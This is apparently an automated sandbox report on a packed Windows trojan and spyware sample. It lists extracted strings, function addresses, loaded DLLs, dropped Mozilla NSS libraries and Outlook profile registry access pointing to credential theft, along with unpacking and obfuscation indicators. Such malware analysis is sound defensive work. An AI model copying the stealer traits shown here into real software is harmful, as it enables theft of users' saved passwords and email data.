Source: file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1926599554.00000000299EE000.00000004.00000020.00020000.00000000.sdmp, KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C5FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C63B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C63B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C63B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5DF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D209D	0_2_009D209D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB29A9	0_2_00AB29A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABF975	0_2_00ABF975
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB7293	0_2_00AB7293
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABC20B	0_2_00ABC20B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009DAB9D	0_2_009DAB9D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAEB92	0_2_00AAEB92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D332D	0_2_009D332D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB3C05	0_2_00AB3C05
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC1448	0_2_00AC1448
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABDD74	0_2_00ABDD74
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB062C	0_2_00AB062C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097C794	0_2_0097C794
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABA7E4	0_2_00ABA7E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B8BFC3	0_2_00B8BFC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A17F43	0_2_00A17F43
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D35A0	0_2_6C5D35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5440	0_2_6C5E5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64545C	0_2_6C64545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64542B	0_2_6C64542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64AC00	0_2_6C64AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615C10	0_2_6C615C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C622C10	0_2_6C622C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FD4D0	0_2_6C5FD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616CF0	0_2_6C616CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E64C0	0_2_6C5E64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD4E0	0_2_6C5DD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6334A0	0_2_6C6334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C4A0	0_2_6C63C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6C80	0_2_6C5E6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FED10	0_2_6C5FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EFD00	0_2_6C5EFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C600512	0_2_6C600512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6385F0	0_2_6C6385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C610DD0	0_2_6C610DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646E63	0_2_6C646E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F9E50	0_2_6C5F9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4640	0_2_6C5F4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C622E4E	0_2_6C622E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC670	0_2_6C5DC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C613E50	0_2_6C613E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639E30	0_2_6C639E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C625600	0_2_6C625600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C617E10	0_2_6C617E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6476E3	0_2_6C6476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DBEF0	0_2_6C5DBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EFEF0	0_2_6C5EFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C634EA0	0_2_6C634EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5E90	0_2_6C5F5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E680	0_2_6C63E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9F00	0_2_6C5E9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C617710	0_2_6C617710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606FF0	0_2_6C606FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DDFE0	0_2_6C5DDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6277A0	0_2_6C6277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8850	0_2_6C5F8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FD850	0_2_6C5FD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61F070	0_2_6C61F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B820	0_2_6C61B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C624820	0_2_6C624820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7810	0_2_6C5E7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6158E0	0_2_6C6158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6450C7	0_2_6C6450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FC0E0	0_2_6C5FC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6060A0	0_2_6C6060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B970	0_2_6C62B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B170	0_2_6C64B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FA940	0_2_6C5FA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED960	0_2_6C5ED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60D9B0	0_2_6C60D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615190	0_2_6C615190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C632990	0_2_6C632990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC9A0	0_2_6C5DC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C619A60	0_2_6C619A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61E2F0	0_2_6C61E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618AC0	0_2_6C618AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1AF0	0_2_6C5F1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604AA0	0_2_6C604AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642AB0	0_2_6C642AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ECAB0	0_2_6C5ECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64BA90	0_2_6C64BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D22A0	0_2_6C5D22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5340	0_2_6C5D5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EC370	0_2_6C5EC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61D320	0_2_6C61D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6453C8	0_2_6C6453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DF380	0_2_6C5DF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 006F45C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C60CBE8 appears 134 times

Source: file.exe, 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1985111220.000000006C855000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: kkjueqgp ZLIB complexity 0.9948693854979004

Source: file.exe, 00000000.00000003.1686260675.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C637030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C637030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00709600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00709600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00703720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00703720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\R1C18X3N.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1976081255.000000001D809000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984645262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1985029287.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1976081255.000000001D809000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984645262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1985029287.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1976081255.000000001D809000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984645262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1985029287.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1976081255.000000001D809000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984645262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1985029287.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1976081255.000000001D809000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984645262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1985029287.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1976081255.000000001D809000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984645262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1976081255.000000001D809000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984645262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1985029287.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1806945799.000000001D704000.00000004.00000020.00020000.00000000.sdmp, FBAKEHIEBKJJJJJKKKEG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1976081255.000000001D809000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984645262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1976081255.000000001D809000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984645262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: file.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1863680 > 1048576

Source: file.exe

Static PE information: Raw size of kkjueqgp is bigger than: 0x100000 < 0x1a0c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1985029287.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1985029287.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.6f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;kkjueqgp:EW;xkoondrm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;kkjueqgp:EW;xkoondrm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00709860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00709860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c9584 should be: 0x1c96ca

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: kkjueqgp
Source: file.exe	Static PE information: section name: xkoondrm
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D209D push ecx; mov dword ptr [esp], eax	0_2_009D2108
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D209D push 7231B205h; mov dword ptr [esp], ebx	0_2_009D2195
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9E88C push edx; mov dword ptr [esp], ecx	0_2_00A9E8EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9E88C push edx; mov dword ptr [esp], ebx	0_2_00A9E908
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7088B push eax; mov dword ptr [esp], ebp	0_2_00B708CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B378F7 push eax; mov dword ptr [esp], ebx	0_2_00B37934
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0070B035 push ecx; ret	0_2_0070B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA70E5 push 528B830Ah; mov dword ptr [esp], esi	0_2_00BA7105
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA70E5 push 03745DB1h; mov dword ptr [esp], esi	0_2_00BA7134
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AA8F5 push 4548B0CBh; mov dword ptr [esp], ecx	0_2_009AA946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AA8F5 push 4DE49E00h; mov dword ptr [esp], ebx	0_2_009AA958
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AA8F5 push edx; mov dword ptr [esp], edi	0_2_009AA95C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AA8F5 push ebp; mov dword ptr [esp], edx	0_2_009AA991
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AA8F5 push ebp; mov dword ptr [esp], eax	0_2_009AA9A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B320CD push eax; mov dword ptr [esp], 4EF3DC65h	0_2_00B320E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B320CD push edx; mov dword ptr [esp], 2A053D3Fh	0_2_00B32116
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC6020 push 2A2FC5DCh; mov dword ptr [esp], ebp	0_2_00AC6062
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D4854 push 394CE4BCh; mov dword ptr [esp], ebp	0_2_009D4892
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D4854 push ecx; mov dword ptr [esp], eax	0_2_009D490C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B63862 push ecx; mov dword ptr [esp], 7FFFF2F6h	0_2_00B63885
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B63862 push ebx; mov dword ptr [esp], eax	0_2_00B638B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B63862 push 0CE1496Ch; mov dword ptr [esp], eax	0_2_00B63949
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B78851 push eax; mov dword ptr [esp], 42DC40CAh	0_2_00B788BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B78851 push edi; mov dword ptr [esp], ebp	0_2_00B78913
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB29A9 push ebx; mov dword ptr [esp], esi	0_2_00AB29DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB29A9 push edx; mov dword ptr [esp], 033079ECh	0_2_00AB2B05
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB29A9 push ecx; mov dword ptr [esp], edx	0_2_00AB2B27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB29A9 push edi; mov dword ptr [esp], 7FABB124h	0_2_00AB2B2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB29A9 push edx; mov dword ptr [esp], ebx	0_2_00AB2B9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB29A9 push edi; mov dword ptr [esp], ebx	0_2_00AB2BB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB29A9 push 4DA20C8Ah; mov dword ptr [esp], ebp	0_2_00AB2C17

Source: file.exe

